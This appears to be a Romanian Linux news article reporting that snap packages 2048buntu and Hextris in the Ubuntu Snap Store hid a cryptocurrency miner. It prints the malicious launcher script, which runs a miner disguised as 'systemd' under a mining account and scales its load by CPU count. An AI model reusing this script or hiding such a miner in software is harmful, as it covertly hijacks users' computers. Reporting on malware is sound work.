Cel putin doua dintre pachetele snap, 2048buntu si Hextris, incarcate in Ubuntu Snaps Store de catre utilizatorul Nicolas Tomb, contin programe malware. Toate pachetele de la Nicolas au fost eliminate din Magazinul Ubuntu Snaps, " in asteptarea unor investigatii suplimentare ".

Raportul provine dintr-un bug care mentioneaza ca pachetul snapshot 2048buntu (si alte pachete de Nicolas Tomb) contine un miner de ascundere criptocurrency ascuns. Puteti vedea scriptul initial de mai jos:

#!/bin/bash

 

currency=bcn name=2048buntu

{ # try /snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1 -g } || { # catch cores=($(grep -c ^processor /proc/cpuinfo))

if (( $cores < 4 )); then /snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1 else /snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 2 fi }

Nicolas Tomb a folosit o licenta proprietara de exemplu, snap-ul 2048buntu a fost trimis drept proprietate (jocul in sine nu a fost dezvoltat de Nicolas). Jocul in cauza, 2048 , utilizeaza o licenta MIT care permite distribuirea acesteia ca fiind protejata, fara a face disponibil codul sursa, atata timp cat sunt pastrate anunturile privind drepturile de autor.

 

Nota: 2048buntu a fost eliminat din magazinul Ubuntu Snap,.

Ubuntu Snap Store permite oricui sa incarce pachete snap, spre deosebire de pachetele (deb) disponibile doar in depozitele oficiale Ubuntu.

Ubuntu - Timenews Cititi mai multe stiri/noutati despre Ubuntu aici ...

  • Care este reactia ta?
  • powered by Verysign
  • like Timenews
    Like
  • unmoved Timenews
    unmoved
  • amused Timenews
    amused
  • excited Timenews
    excited
  • angry Timenews
    angry
  • sad Timenews
    sad
TENDINTA  |  Deepin 15.9.2 Beta migreaza la depozitul stabil Debian
FlorinM                   Timenews
FlorinM
Utilizator Linux - Solus OS, pasionat de calatorii.
1188 articole



  • Comenteaza
  • powered by Verysign

Nici un comentariu inca. Fii primul!
Tzortzel Giorgos Antone - Facebook
Tzortzel Giorgos Antone - Facebook

E cam greu dupa ani de zile de Arch/derivate sa trec pe altceva. Si eu am testat si folosit o gramada de distributii, putine se ridica la inaltimea...16 hours, 21 minutes

Solus 4 Fortitude Released - Plasma, Budgie, Mate, Gnome Solus 4 Fortitude Released - Plasma, Budgie, Mate, Gnome >>>
Verysign Romania - Facebook
Verysign Romania - Facebook

Este mai stabil decat ati poti inchipui. Este daily driver pentru mine de 3 luni

18 hours, 12 minutes
Solus 4 Fortitude Released - Plasma, Budgie, Mate, Gnome Solus 4 Fortitude Released - Plasma, Budgie, Mate, Gnome >>>
Tzortzel Giorgos Antone - Facebook
Tzortzel Giorgos Antone - Facebook

Ehehehehe,,, iar vreti sa ma corupeti voi :-) de cand astept eu Solus in KDE! Noroc ca este inca in teste si nu ma tenteaza,,, deocamdata...18 hours, 13 minutes

Solus 4 Fortitude Released - Plasma, Budgie, Mate, Gnome Solus 4 Fortitude Released - Plasma, Budgie, Mate, Gnome >>>
Renato Fernandes Garcia - Facebook
Renato Fernandes Garcia - Facebook

WE USE SOURCE CODE ,NOT .DEB.....

4 days, 12 minutes
Deepin 15.9.2 Beta migreaza la depozitul stabil Debian Deepin 15.9.2 Beta migreaza la depozitul stabil Debian >>>